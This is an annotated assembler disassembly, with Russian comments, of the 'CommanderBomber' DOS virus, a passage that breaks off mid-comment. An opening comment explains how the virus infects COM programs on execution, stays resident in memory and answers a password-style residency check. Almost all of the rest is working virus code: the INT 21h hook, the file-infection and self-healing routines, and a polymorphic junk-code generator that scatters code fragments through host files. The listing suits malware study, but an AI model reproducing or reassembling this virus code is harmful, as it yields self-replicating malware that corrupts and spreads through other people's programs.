;============================================================================== ; VIRUS : CommnaderBomber (RC-4096) ;============================================================================== COMMENT * Вирус поражает файлы типа COM при запуске на выполнение (DOS func 4Bh). Ви- рус не заражает файл COMMAND.COM. COM-формат определяется по отсутсвию подписи "MZ" или "ZM" в начале файла. Вирус не использует никаких выдающихся алгоритмов при заражении оперативной памяти. Он становится резидентным испорльзуя стандартную функцию 31h (TSR) опе- рационной системы. Очевидно, что автор не пытался реализовать ничего нового в плане захвата памяти. Вирус использует стандартные функции и его обезвреживание в памяти не представляет каких-либо сложностей. Свое присутствие в памяти вирус определяет по несуществующей функции DOS (func 424Fh). При этом в качетсве па- роля примпеняется первый слог "BO", а в качестве ответа - второй слог "MB" сло- ва "BOMB". Вирус работоспособен только в MS-DOS версии 3.0 и выше. Вирус не проставляет никаких признаков зараженности. Вместо этого он ис- пользует довольно оригинальный алгоритм самолечения при повторном заражении. В принципе возможно многократное заражение программы-носителя. Однако этого не происходит. Каждый раз при запуске зараженной программы вирус перезаписывает тело программы в том виде, который она имела в момент поражения ее этой копией вируса. При этом происходит отсекание всего лишнего. Т.е. при запуске много- кратно зараженной программы каждая последующая копия вируса будет отсекать пре- дыдущую. На практике это выглыдит так: запускаемая зараженная программа при ре- зидентном вирусе еще раз заражается, а после якобы передачи управления програм- ме-носителю вторая только что прицепивщаяся копия вируса отсекается первой ко- пией. Таким образом, заразив файл, вирус становится стражем над этим файлом - не пропускает ни своих собратьев, ни какой либо другой вирус. Подобные действия весьма замедляют работу вируса, особенно, если пользоваться дискетами. Так как многократная запись на диск в момент запуска зараженных программ будет весьма заметна для пользователя. Основная изюминка представленного вируса - это полиморфный генератор, ко- торый является весьма оригинальным, поскольку использует почти все команды про- цессора i8086. Следует отметить, что создаваемый полиморфный код есть набором совершенно бессмысленных команд, представляющих собой своеобразный забор пред смысловым кодом. Для простоты будем называть такой забор "полиморфным мусором". Вирус также примечателен тем, что в нем впервые применен алгоритм "опплевы- вания" файла, т.е. вирус формирует в теле заражаемой программы отдельные участ- ки кода, которые интенсивно взаимодействуют между собой посредством команд пе- редачи управления CALL, JMP, RET. При этом участки кода располагаются по всей программе в самых разных местах и самой разной длины. Для отслеживания всех команд передачи управления вирус довольно интенсивно использует стековую память (как HEAP область), формируя в ней два динамических массива. * in_reg equ 00000010b ; пересылка в регистр out_reg equ 00000000b ; пересылка из регистра BY_BYTE equ 00000000b ; обмен байтами BY_WORD equ 00000001b ; обмен словами SEG_REGs equ 00011000b ; маска сегментных регистров dop macro Operation,Direction db Operation or Direction dop endm seg_a segment byte public use16 assume cs:seg_a, ds:seg_a org 100h Start label near 0100 Vir_start: 0100 33 E4 xor sp,sp ; Организуем стек на вершине сегмента 0102 FB sti ; Enable interrupts 0103 E8 0074 call sub_017A ;---------------------------------------------------------------------------------------------------------- 0106 .43 4F 4D 4D 41 4E Copyright db 'COMMANDER BOMBER WAS HERE' 010C 44 45 52 20 42 4F 0112 4D 42 45 52 20 57 0118 41 53 20 48 45 52 011E 45 ;---------------------------------------------------------------------------------------------------------- 011F loc_011F: ;--------------- перехват прерывания INT 21h --------------- 011F B8 3521 mov ax,3521h 0122 CD 21 int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx 0124 89 1E 0235 mov ds:data_0235,bx 0128 8C 06 0237 mov ds:data_0237,es 012C .BA 022A mov dx,offset sub_022A 012F B4 25 mov ah,25h 0131 CD 21 int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx 0133 E8 0942 call RANDOMIZE ; настройка генератора ;--------------- освободить окружение ---------------------- 0136 8E 1E 002C mov ds,ds:[002Ch] 013A 8B D5 mov dx,bp 013C 1E push ds 013D 07 pop es ; ES = DS 013E B4 49 mov ah,49h 0140 CD 21 int 21h ; DOS Services ah=function 49h ; release memory block, es=seg ;--------------- переразметить блок памяти ----------------- 0142 0E push cs 0143 07 pop es 0144 BB 00AC mov bx,(Vir_END - Vir_Start + 0100h) / 16 0147 B4 4A mov ah,4Ah 0149 CD 21 int 21h ; DOS Services ah=function 4Ah ; change memory allocation ; bx=bytes/16, es=mem segment ;--------------- запустить --------------------------------- 014B .BB 016C mov bx,offset data_016C 014E 26: 8C 47 04 mov es:[bx+4],es 0152 26: 8C 47 08 mov es:[bx+8],es 0156 26: 8C 47 0C mov es:[bx+0Ch],es 015A B8 4B00 mov ax,4B00h 015D CD 21 int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx 015F 72 04 jc short loc_0165 ; Jump if carry Set 0161 B4 4D mov ah,4Dh 0163 CD 21 int 21h ; DOS Services ah=function 4Dh ; get return code info in ax 0165 loc_0165: 0165 BA 00AC mov dx,Vir_END / 16 0168 B4 31 mov ah,31h 016A CD 21 int 21h ; DOS Services ah=function 31h ; terminate & stay resident ; al=return code,dx=paragraphs ;---------------------------------------------------------------------------------------------------------- ; Блок параметров EXEC 016C 00 data_016C db 0 016D 00 80 00 CC 0F 5C db 00h, 80h, 00h,0CCh, 0Fh, 5Ch 0173 00 CC 0F 6C 00 CC db 00h,0CCh, 0Fh, 6Ch, 00h,0CCh 0179 0F db 0Fh ;========================================================================== sub_017A: 017A FC cld ; Clear direction 017B 5E pop si ; SI = offset Copyright 017C 83 EE 06 sub si,offset Copyright - offset Vir_start ; SI = absolute address base 017F 0E push cs 0180 1F pop ds ; DS = CS 0181 1E push ds 0182 07 pop es ; ES = CS 0183 33 C0 xor ax,ax ; Zero register ; Create small procedure at address 00FCh ;---------------------------- ; 00FC F3 repz ; 00FD A5 movsw ; Movsb ds:[si] to es:[di] ; 00FE EB 1F jmp loc_011F ;---------------------------- 0185 BF 00FC mov di,offset start - 4 0188 50 push ax 0189 57 push di 018A B8 A5F3 mov ax,0A5F3h 018D AB stosw ; Store ax to es:[di] ; di=di+2, di=00FEh 018E B8 1FEB mov ax,1FEBh 0191 AB stosw ; Store ax to es:[di] ; di=di+2, di=0100h ; -------------- проверка версии DOS ------------ ; под DOS версии мешьше чем 3.x вирус не работает 0192 B4 30 mov ah,30h 0194 CD 21 int 21h ; DOS Services ah=function 30h ; get DOS version number ax 0196 3C 03 cmp al,3 0198 72 5D jb short loc_01F7 ; Jump if below ; Если версия DOS 3.x+ то в копии системного окружения есть строка ; с полным именем файла. Ищем это полное имя 019A 56 push si 019B 33 F6 xor si,si 019D 8E 5C 2C mov ds,[si+2Ch] ; DS = DOS environ segment 01A0 loc_01A0: 01A0 AD lodsw ; String [si] to ax 01A1 4E dec si 01A2 0B C0 or ax,ax ; Zero ? 01A4 75 FA jnz loc_01A0 ; Jump if not 00 01A6 8D 6C 03 lea bp,[si+3] ; DS:BP - полное имя программы 01A9 5E pop si ; -------------- проверка резидента паролем через INT 21h -------- ; используется функция 42h с несуществующим методом установки 4Fh 01AA B8 424F mov ax,'BO' 01AD CD 21 int 21h ; DOS Services ah=function 42h 01AF 3D 4D42 cmp ax,'MB' ; Если вирус резидентен, то нет ника- ; кого смысла в восстановлении прог- ; раммы-носителя, нужно активизиро- ; вать вирус (все бросаем и вперед ; на активизацию вируса) 01B2 75 62 jne short loc_0216 ; Jump if not TSR virus ; -------------- открыть программу-носитель ---------------------- 01B4 8B D5 mov dx,bp 01B6 B8 3D02 mov ax,3D02h 01B9 CD 21 int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx 01BB 06 push es 01BC 1F pop ds ; DS = ES 01BD 72 38 jc short loc_01F7 ; Jump if CF=1 (т.е. защита от ; записи) 01BF 93 xchg bx,ax ; сохранить дату и время создания программы-носителя 01C0 B8 5700 mov ax,5700h 01C3 CD 21 int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time 01C5 72 2C jc short loc_01F3 ; Jump if CF=1 ; -------------------------------------------------------------------- ; * Восстановить образ памяти из MEM-блока * ; -------------------------------------------------------------------- ; Задача следующего кода состоит в восстановлении образа памяти до его ; начального вида перед запуском. Т.к. пока процессор проходил через ; полиморфный "мусор" к телу вируса содержимое ячеек памяти, которые ; были выделены под модификацию, было изменено. Восстановление моди- ; фицированных ячеек проводится по записям в MEM-блоке. ; Формат MEM-блока : dw адрес, dw содержимое, dw адрес, dw содержимое ; и т.д. ; -------------------------------------------------------------------- 01C7 52 push dx 01C8 51 push cx 01C9 56 push si 01CA 81 C6 09C0 add si,Vir_END - Vir_start ; SI = указатель на MEM-блок 01CE loc_01CE: 01CE AD lodsw ; String [si] to ax 01CF FE C4 inc ah ; прибавить 0100h 01D1 74 04 jz short loc_01D7 ; Jump if Mark-end 01D3 97 xchg di,ax 01D4 A5 movsw ; Mov [si] to es:[di] 01D5 EB F7 jmp short loc_01CE 01D7 loc_01D7: 01D7 5E pop si ;--------------- перезаписать тело зараженной программы ------- 01D8 BA 0100 mov dx,100h 01DB B9 1000 mov cx,1000h 01DE 03 8C 0110 add cx,offset OriginalFileSize - Vir_start [si] 01E2 B4 40 mov ah,40h 01E4 CD 21 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer ;--------------- Обрезка лишнего (отбросить вторую копию) -------- 01E6 33 C9 xor cx,cx ; Zero register 01E8 B4 40 mov ah,40h 01EA CD 21 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer 01EC 59 pop cx 01ED 5A pop dx ; восстановить дату и время создания программы-носителя 01EE B8 5701 mov ax,5701h 01F1 CD 21 int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time 01F3 loc_01F3: ; -------------- закрыть зараженную программу 01F3 B4 3E mov ah,3Eh 01F5 CD 21 int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle 01F7 loc_01F7: 01F7 C6 06 00FF 00 mov byte ptr ds:[00FFh],0 ; При резидентном вирусе нужно ; запускать программу носитель ; ------------------------------------------------------------------------- ; * ВОССТАНОВИТЬ в памяти программу-носитель по информации в ИНФО-блоке * ; ------------------------------------------------------------------------- 01FC 56 push si 01FD 81 C6 0BC0 add si,Vir_END - Vir_start + 0200h 0201 loc_0201: 0201 AD lodsw ; String [si] to ax 0202 8B C8 mov cx,ax 0204 E3 08 jcxz short loc_020E ; Jump if cx=0 0206 AD lodsw ; String [si] to ax 0207 FE C4 inc ah 0209 97 xchg di,ax 020A F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di] 020C EB F3 jmp short loc_0201 020E loc_020E: 020E 5F pop di ; вирус копируется сам на себя 020F BE 3000 mov si,1111h ; размер файла-носителя до заражения OriginalFileSize = word ptr $ - 2 0212 81 C6 0100 add si,offset start ; COM программы с адреса 0100h 0216 loc_0216: 0216 B9 0800 mov cx,4096 / 2 ; размер вируса в словах 0219 06 push es 021A 1F pop ds ; DS = ES 021B C3 retn ;========================================================================== ; Чтение из файла по адресу ES:0000 ;========================================================================== sub_021C proc near 021C 33 D2 xor dx,dx ; DX = 0000 021E B9 EF00 mov cx,0EF00h ; количество байт для чтения ; (маскимально) 0221 B4 3F mov ah,3Fh ;========================================================================== ; Моделируем вызов оригинального диспечера DOS ;========================================================================== DOS_func: 0223 9C pushf ; Push flags 0224 FA cli ; Disable interrupts 0225 0E E8 000B callf sub_0234 0229 C3 retn sub_021C endp ;========================================================================== ; Вирусный обработчик диспечера DOS (INT 21h) ;========================================================================== sub_022A proc far 022A 3D 4B00 cmp ax,4B00h 022D 74 0E je short loc_023D ; Jump if equal 022F 3D 424F cmp ax,'BO' 0232 74 05 je short loc_0239 ; Jump if equal ;========================================================================== ; Передача управления оригинальному INT 21h ;========================================================================== sub_0234 proc far 0234 EA db 0EAh ;jmp far ptr 0:0 0235 0042 data_0235 dw ? 0237 DCB6 data_0237 dw ? sub_0234 endp ;========================================================================== 0239 loc_0239: 0239 B8 4D42 mov ax,'MB' ; ответ на пароль 023C CF iret ; Interrupt return 023D loc_023D: 023D 2E: 8C 16 0324 mov cs:Save_SS,ss 0242 2E: 89 26 0329 mov cs:Save_SP,sp ; сохранить указатель стека 0247 FA cli ; Disable interrupts 0248 8C C8 mov ax,cs 024A 8E D0 mov ss,ax 024C BC 0100 mov sp,offset Start ; организовать стек на месте ; PSP 024F FB sti ; Enable interrupts 0250 06 push es 0251 1E push ds 0252 55 push bp 0253 57 push di 0254 56 push si 0255 52 push dx 0256 51 push cx 0257 53 push bx 0258 FC cld ; Clear direction 0259 8B F2 mov si,dx ; DS:DX - имя программы 025B B9 0050 mov cx,50h ; длина имени 80 символов 025E 8B FE mov di,si ;--------------- выделяем имя программы --------------------------------------- 0260 locloop_0260: 0260 AC lodsb ; String [si] to al 0261 3C 3A cmp al,':' 0263 74 04 je short loc_0269 ; Jump if equal 0265 3C 5C cmp al,'\' 0267 75 02 jne short loc_026B ; Jump if not equal 0269 loc_0269: 0269 8B FE mov di,si 026B loc_026B: 026B 0A C0 or al,al ; Zero ? 026D E0 F1 loopnz locloop_0260 ; Loop if zf=0, cx>0 ;--------------- файл с именем COMMAND не заражается 026F 8B F7 mov si,di 0271 BF 0105 mov di,offset Copyright - 1 0274 B1 07 mov cl,7 0276 locloop_0276: 0276 AC lodsb ; String [si] to al 0277 24 DF and al,0DFh ; al = UpCase (al) 0279 47 inc di 027A 2E: 3A 05 cmp al,cs:[di] 027D E1 F7 loopz locloop_0276 ; Loop if zf=1, cx>0 027F 75 09 jnz short loc_028A ; Jump if not zero 0281 AC lodsb ; String [si] to al 0282 0A C0 or al,al ; Zero ? 0284 74 0E jz short loc_0294 ; Jump if yes 0286 3C 2E cmp al,'.' 0288 74 0A je short loc_0294 ; Jump if equal ;--------------- захватить память --------------------------------------- ; Туда будем копироватиь тело вируса и организовывать программные массивы 028A loc_028A: 028A BB 1000 mov bx,1000h ; нужно 4Кбайта 028D B4 48 mov ah,48h 028F E8 FF91 call DOS_func 0292 73 03 jnc short loc_0297 ; Jump if carry=0 0294 loc_0294: 0294 E9 0083 jmp loc_031A ;--------------- получить атрибуты файла ------------------ 0297 loc_0297: 0297 8E C0 mov es,ax 0299 B8 4300 mov ax,4300h 029C E8 FF84 call DOS_func 029F 72 74 jc short loc_0315 ; Jump if carry Set ;--------------- снять если нужно атрибуты ---------------- 02A1 D1 E9 shr cx,1 ; Shift w/zeros fill 02A3 73 0A jnc short loc_02AF ; Jump if carry=0 02A5 D1 E1 shl cx,1 ; Shift w/zeros fill 02A7 B8 4301 mov ax,4301h 02AA E8 FF76 call DOS_func 02AD 72 66 jc short loc_0315 ; Jump if carry Set ;--------------- открыть файл ----------------------------- 02AF loc_02AF: 02AF B8 3D02 mov ax,3D02h 02B2 E8 FF6E call DOS_func 02B5 72 5E jc short loc_0315 ; Jump if carry Set 02B7 93 xchg bx,ax 02B8 06 push es 02B9 1F pop ds ; DS = ES 02BA E8 FF5F call sub_021C ; прочитать файл 02BD 72 51 jc short loc_0310 ; Jump if carry Set ;--------------- проверяем какой длины файл -------------------- 02BF 3B C1 cmp ax,cx ; Слишком большой 02C1 74 4D je short loc_0310 ; Jump if = 02C3 3D 1400 cmp ax,1400h ; Слишком маленький 02C6 72 48 jb short loc_0310 ; Jump if < ;=============================================================== ;- [!] --------- Обрабатываем только файлы формата COM --------- ;=============================================================== 02C8 81 3E 0000 5A4D cmp word ptr ds:[0000],'ZM' 02CE 74 40 je short loc_0310 ; Jump if equal 02D0 81 3E 0000 4D5A cmp word ptr ds:[0000],'MZ' 02D6 74 38 je short loc_0310 ; Jump if equal ;--------------- сохранить дату и время создания файла --------- 02D8 50 push ax 02D9 B8 5700 mov ax,5700h 02DC E8 FF44 call DOS_func 02DF 58 pop ax 02E0 72 2E jc short loc_0310 ; Jump if carry Set 02E2 2E: 89 0E 0308 mov cs:data_0308,cx 02E7 2E: 89 16 0305 mov cs:data_0305,dx ;=============================================================== ; Запустить процедуру генерирующую полиморфный "мусор" ;=============================================================== 02EC 53 push bx 02ED E8 0069 call sub_0359 02F0 5B pop bx 02F1 50 push ax ;--------------- позиционируемся на начало файла --------------- 02F2 33 C9 xor cx,cx ; Zero register 02F4 33 D2 xor dx,dx ; Zero register 02F6 B8 4200 mov ax,4200h 02F9 E8 FF27 call DOS_func 02FC 59 pop cx 02FD 72 11 jc short loc_0310 ; Jump if carry Set ;--------------- записываем зараженный файл -------------------- 02FF B4 40 mov ah,40h 0301 E8 FF1F call DOS_func ;--------------- восстановить дату и время --------------------- 0304 BA 1F97 mov dx,1111h data_0305 = word ptr $ - 2 0307 B9 2B87 mov cx,1111h data_0308 = word ptr $ - 2 030A B8 5701 mov ax,5701h 030D E8 FF13 call DOS_func ;--------------- закрыть файл ---------------------------------- 0310 loc_0310: 0310 B4 3E mov ah,3Eh 0312 E8 FF0E call DOS_func ;--------------- освободить память ----------------------------- 0315 loc_0315: 0315 B4 49 mov ah,49h 0317 E8 FF09 call DOS_func 031A loc_031A: ; Leave virus 031A 5B pop bx 031B 59 pop cx 031C 5A pop dx 031D 5E pop si 031E 5F pop di 031F 5D pop bp 0320 1F pop ds 0321 07 pop es 0322 FA cli ; Disable interrupts ;--------------- восстановить стек ----------------------------- 0323 B8 0FCC mov ax,1111h Save_SS = word ptr $ - 2 0326 8E D0 mov ss,ax 0328 BC FFF8 mov sp,1111h Save_SP = word ptr $ - 2 ;--------------- продолжить работу диспечера -------------------- 032B B8 4B00 mov ax,4B00h ; функция "ЗАПУСТИТЬ" 032E E9 FF03 jmp sub_0234 ; передача управления оригинальному ; диспечеру DOS sub_022A endp ;========================================================================== ; SUBROUTINE ;========================================================================== RND_0_FF proc near 0331 B8 0100 mov ax,100h 0334 EB 12 jmp short RND_0_AX 0336 B0 40 RND_0_3F: mov al,40h 0338 A9 db 0A9h ; TEST AX,im16 0339 B0 10 RND_0_F: mov al,10h 033B A9 db 0A9h ; TEST AX,im16 033C B0 08 RND_01234567: mov al,8 033E A9 db 0A9h ; TEST AX,im16 033F B0 04 RND_0123: mov al,4 0341 A9 db 0A9h ; TEST AX,im16 0342 B0 03 RND_012: mov al,3 0344 A9 db 0A9h ; TEST AX,im16 0345 B0 02 RND_01: mov al,2 0347 98 cbw ; Convrt byte to word ;========================================================================== RND_0_AX: 0348 52 push dx 0349 51 push cx 034A 50 push ax 034B E8 073C call RND ; AX = RND 034E 59 pop cx 034F 33 D2 xor dx,dx ; 0:AX 0351 F7 F1 div cx ; ax,dx rem=dx:ax/reg 0353 92 xchg dx,ax ; AX = остаток от деления 0354 59 pop cx 0355 5A pop dx 0356 0B C0 or ax,ax ; Zero ? 0358 C3 retn RND_0_FF endp ;========================================================================== ; Основная процедура управляющая полиморфным механизмом ; Вход : AX = размер заражаемого COM-файла ;========================================================================== sub_0359 proc near ;------- Определяем в файле случайный кусок размером 4Кбайта --------------- ; сохранить размер файла-жертвы 0359 2E: A3 0210 mov cs:OriginalFileSize,ax 035D 8B F8 mov di,ax ; DI - указывает на конец файла ; вычесть 4К из размера. Необходимо для того, чтобы ; случайный кусок не оказался НА конце файла, а максимум ; В конце файла 035F B9 1000 mov cx,4096 0362 2B C1 sub ax,cx ; случайный кусок в файле 0364 E8 FFE1 call RND_0_AX 0367 05 0020 add ax,20h 036A 2E: A3 04EB mov cs:data_04EB,ax ; AX - указывает на начало куска ;------- Приписываем выбранный кусок к концу файла --------------------------------- 036E 8B F0 mov si,ax 0370 F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di] ;----------------------------------------------------------------------------------- 0372 1E push ds 0373 0E push cs 0374 1F pop ds ; DS = CS 0375 A3 03D2 mov ds:data_03D2,ax ; Верхняя граница области "A" - это ; начало выкушенной области 0378 97 xchg di,ax ; DI - указывает на конец приписанного ; куска (файл + кусок) 0379 A3 03E7 mov ds:data_03E7,ax ; Верхняя граница области "B" - это ; указатель на конец зараженного файла 037C A3 059C mov ds:data_059C,ax ; Размера зараженного файла 037F 96 xchg si,ax 0380 A3 03E2 mov ds:data_03E2,ax ; Нижняя граница области "B" - это ; конец выкушенной области 0383 A3 03C1 mov ds:data_03C1,ax ; Конец ИНФО-блока ;------- На место случайного куска копируем тело вируса ---------------------------- 0386 BE 0100 mov si,offset Vir_Start 0389 B9 09C0 mov cx,offset Vir_End - offset Vir_Start ; размер вируса 038C F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di] ;-------- Инициализация всех вирусных счетчиков ------------------------------------ 038E 33 C0 xor ax,ax ; Zero register 0390 A3 09E0 mov ds:BytesWrittenCounter,ax ; сгенерированных байтов - ноль 0393 A3 06BE mov ds:StackCounter,ax ; слов в стеке - ноль 0396 A3 06F3 mov ds:data_06F3,ax 0399 A3 03CD mov ds:data_03CD,ax ; нижняя граница блока "A" - 0000 039C 89 3E 0A03 mov ds:data_0A03,di ; динамический указатель на ; MEM-блок 03A0 81 C7 0200 add di,0200h ; Размер MEM-блока = 512 байт 03A4 89 3E 04E3 mov ds:data_04E3,di ; динамический указатель на ; ИНФО-блок 03A8 89 3E 09EA mov ds:data_09EA,di ; указатель на начало ИНФО-блока 03AC 1F pop ds ;------- Инициализация первых байтов информационной области ------------------------ 03AD AB stosw ; Store ax to es:[di] 03AE AB stosw ; Store ax to es:[di] 03AF 2E: 89 26 0599 mov cs:data_0599,sp ; сохранить стек ;----------------------------------------------------------------------------------- 03B4 93 xchg bx,ax ; BX = 0000 ; в теле полиморфного механизма BX ; указывает на текущий адрес генери- ; руемого участка 03B5 53 push bx 03B6 53 push bx ; Два ноля в стеке - это два Mark-end ;--------------------------------------------------------------------------------------------------------- ; * Использование стека * ;--------------------------------------------------------------------------------------------------------- ; Помимо всех прочих целей вирус использует стековую память для размещения в ней двух динамических масси- ; вов. Динамические потому, что заранее не известно сколько участков кода и подпрограмм сгенерируется при ; новом заражении. Один из этих массивов используется для хранения информации при генерации вызова под- ; программ в полиморфном "мусоре". Второй массив используется для хранения информации при формировании ко- ; манд SHORT переходов. При этом формат хранимой информации одинаков для обоих массивов: ; ; ................................................................... Информация хранится парами слов ; [ Первый массив ] ; * PUSH 0 (Mark-end) ; 1 ┌─ PUSH Количество слов в стеке на момент перехода к новому блоку ; └─ PUSH Адрес с которого делаем переход ; ... ; N ┌─ PUSH Количество слов в стеке на момент перехода к новому блоку ; └─ PUSH Адрес с которого делаем переход ; ................................................................... Информация хранится парами слов ; [ Второй массив ] ; * PUSH 0 (Mark-end) ; 1 ┌─ PUSH Количество слов в стеке на момент формирования SHORT перехода ; └─ PUSH Адрес команды SHORT перехода ; ... ; N ┌─ PUSH Количество слов в стеке на момент формирования SHORT перехода ; └─ PUSH Адрес команды SHORT перехода ; ................................................................... ; [Обычный стек] ;--------------------------------------------------------------------------------------------------------- ;---------- Гадаем будем или нет модифицировать DS в полиморфном мусоре ------------ 03B7 E8 FF8B call RND_01 ; = 0 - нет 03BA 2E: A2 0A25 mov cs:data_0A25,al ; = 1 - да ;----------------------------------------------------------------------------------------------------------- ; * Проверка пределов * ;----------------------------------------------------------------------------------------------------------- ; ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ ; │data_03CD│ │data_03D2│ │data_03E2│ │data_03E7│ ; └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ ; 0000 ┌┼────────//────────┼─╔══════════╦══════╤══════╗─┼────────//───────────┐┌────────────────┼─┐ NNNN ; │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ ││ │ ; ││ │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ ││ │ │ ; │ ║▓▓▓ТЕЛО▓▓▓║░MEM░░│▒Инфо▒║ ││ Приписанный │ ; ││ Область A │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ Область B ││ случайный │ │ ; │ ║▓▓ВИРУСА▓▓║░блок░│▒блок▒║ ││ кусок из │ ; ││ │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ ││ файла │ │ ; │ ║▓▓▓09C0▓▓▓║░0200░│▒0440▒║ ││ │ ; ││ │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ ││ │ │ ; └─────────//──────────╚══════════╩══════╧══════╝───────────//──────────┘└───────┬──────────┘ ; └─────────1000───────────┘ │ ; 4K └─────────────────────────────────────────────┘ ; Примечание : data_03CD - указатель нижней границы области А ; data_03D2 - указатель верхней границы области А ; data_03E2 - указатель нижней границы области В ; data_03E7 - указатель верхней границы области В 03BE loc_03BE: ;------- Проверка количества сгенерированных байтов (пределы ИНФО-блока) ----------- 03BE 33 F6 xor si,si ; SI = 0000 03C0 B8 2D36 mov ax,1111h data_03C1 = word ptr $ - 2 ; AX = конец ИНФО-блока 03C3 2B C7 sub ax,di ; DI - текущий указатель ИНФО-блока 03C5 3D 0010 cmp ax,10h ; Осталось менее 16 байтов ? 03C8 72 2F jb short loc_03F9 ; Jump if YES ;------- Проверка на выход за предел нижней границы блока "A" ---------------------- 03CA 8B C3 mov ax,bx 03CC 3D 122F cmp ax,1111h data_03CD = word ptr $ - 2 03CF 72 28 jb short loc_03F9 ; Jump if below ;------- Проверка на выход за пределы верхней границы блока "A" -------------------- 03D1 B8 18C7 mov ax,1111h data_03D2 = word ptr $ - 2 03D4 2B C3 sub ax,bx 03D6 72 07 jc short loc_03DF ; Jump if carry Set 03D8 3D 0009 cmp ax,9 03DB 72 1C jb short loc_03F9 ; Jump if below 03DD EB 07 jmp short loc_03E6 ;------- Проверка на выход за пределы нижней границы блока "B" --------------------- 03DF loc_03DF: 03DF 8B C3 mov ax,bx 03E1 3D 39E2 cmp ax,1111h data_03E2 = word ptr $ - 2 03E4 72 13 jb short loc_03F9 ; Jump if below ;------- Проверка на выход за пределы верхней границы блока "B" -------------------- 03E6 loc_03E6: 03E6 B8 3D5E mov ax,1111h data_03E7 = word ptr $ - 2 03E9 2B C3 sub ax,bx 03EB 3D 0009 cmp ax,9 03EE 72 09 jb short loc_03F9 ; Jump if below ;-------- Так как в границах, то продолжаем генерировать случайные команды --------- 03F0 B8 0017 mov ax,23 ; 23 entries 03F3 E8 FF52 call RND_0_AX 03F6 D1 E0 shl ax,1 ; Shift w/zeros fill 03F8 96 xchg si,ax 03F9 loc_03F9: 03F9 2E: FF 94 0400 call word ptr cs:data_0400[si] ; 23 entries 03FE EB BE jmp short loc_03BE sub_0359 endp 0400 042E data_0400 dw offset sub_042E 0402 0660 data_0402 dw offset sub_0660 0404 066F data_0404 dw offset sub_066F 0406 0685 data_0406 dw offset sub_0685 0408 06A3 data_0408 dw offset sub_06A3 040A 06E0 data_040A dw offset sub_06E0 040C 06E0 data_040C dw offset sub_06E0 040E 0717 data_040E dw offset sub_0717 0410 0735 data_0410 dw offset sub_0735 0412 0755 data_0412 dw offset sub_0755 0414 076A data_0414 dw offset sub_076A 0416 0781 data_0416 dw offset sub_0781 0418 07A3 data_0418 dw offset sub_07A3 041A 07E8 data_041A dw offset sub_07E8 041C 07FD data_041C dw offset sub_07FD 041E 081E data_041E dw offset sub_081E 0420 0892 data_0420 dw offset sub_0892 0422 08C5 data_0422 dw offset sub_08C5 0424 0925 data_0424 dw offset sub_0925 0426 094D data_0426 dw offset sub_094D 0428 0960 data_0428 dw offset sub_0960 042A 09C2 data_042A dw offset sub_09C2 042C 098A data_042C dw offset sub_098A ;========================================================================== ; Управление разбрасыванием участков полиморфного мусора ; Вход : флаг CF = 0 - продолжаем работу генератора ; = 1 - сворачиваем работу генератор ; Эта процедура производит ЗАКРЫТИЕ/ОТКРЫТИЕ/ПРОДРОЛЖЕНИЕ очередного ; участка кода. Т.е. она фактически управляет алгоритмом "опплевывания" ; файла (созданием, учетом и контролем процедур и участков кода в разных ; местах программы-жертвы. В ходе своей работы процедура отслеживает все ; CALL, JMP и RET в разных создаваемых участках. ; Внимание! Вирус манипулирует подпрограммами. Но иногда эти подпрограммы ; могут состоять из нескольких участков кода (управление между которыми ; передается командами JMP). ;========================================================================== sub_042E proc near 042E 9F lahf ; Load ah from flags 042F 95 xchg bp,ax 0430 E8 0496 call sub_08C9 ; сформировать смещения для ; SHORT переходов 0433 59 pop cx 0434 5A pop dx ;------------------------------------------------------------------------------ 0435 E8 FF0D call RND_01 ; с вероятностью 1/2 продолжаем ; текущую подпрограмму в другом ; участке 0438 B0 02 mov al,2 ; Вероятность JMP и CALL равна 043A 74 74 jz short loc_04B0 ; Jump if RND = 0 ;------------------------------------------------------------------------------ ; Если нужно сворачивать работу генератора, то вставляем команду перехода 043C 8B C5 mov ax,bp 043E 9E sahf ; Store ah into flags 043F B8 0002 mov ax,2 ; Вероятность JMP и CALL равна 0442 72 6C jc short loc_04B0 ; Jump if CF=1 ;------------------------------------------------------------------------------ ; С вероятностью 1/2 в текущей подпрограмме вызываем еще одну по команде CALL 0444 E8 FEFE call RND_01 0447 75 6B jnz short loc_04B4 ; Jump if RND = 1 ;------------------------------------------------------------------------------ 0449 5E pop si 044A 0B F6 or si,si ; Есть ли открытые подпрограммы ? 044C 74 64 jz short loc_04B2 ; Если НЕТ, то вызываем первую ; подпрограмму по команде CALL. ; Если ДА, то закроем ее. ;------------------------------------------------------------------------------ ; "ЗАКРЫТЬ" участок кода (моделируем выход из подпрограммы по команде RETn) ; SI - адрес с которого делали переход 044E 2E: 8F 06 046F pop cs:data_046F 0453 58 pop ax 0454 2E: A3 06F3 mov cs:data_06F3,ax ; Если AX=0, то сразу и обнуление 0458 0B C0 or ax,ax ; Zero ? 045A 74 0F jz short loc_046B ; Jump if zero 045C 2E: 8F 06 06F3 pop cs:data_06F3 0461 2E: FF 36 06F3 push cs:data_06F3 0466 2E: FF 06 06F3 inc cs:data_06F3 046B loc_046B: 046B 50 push ax 046C EB 00 jmp short $+2 ; delay for I/O ;------------------------------------------------------------------------------ ; До какого значения нужно выровнять SP до выхода из подпрограммы, чтобы ; правильно сработала команда 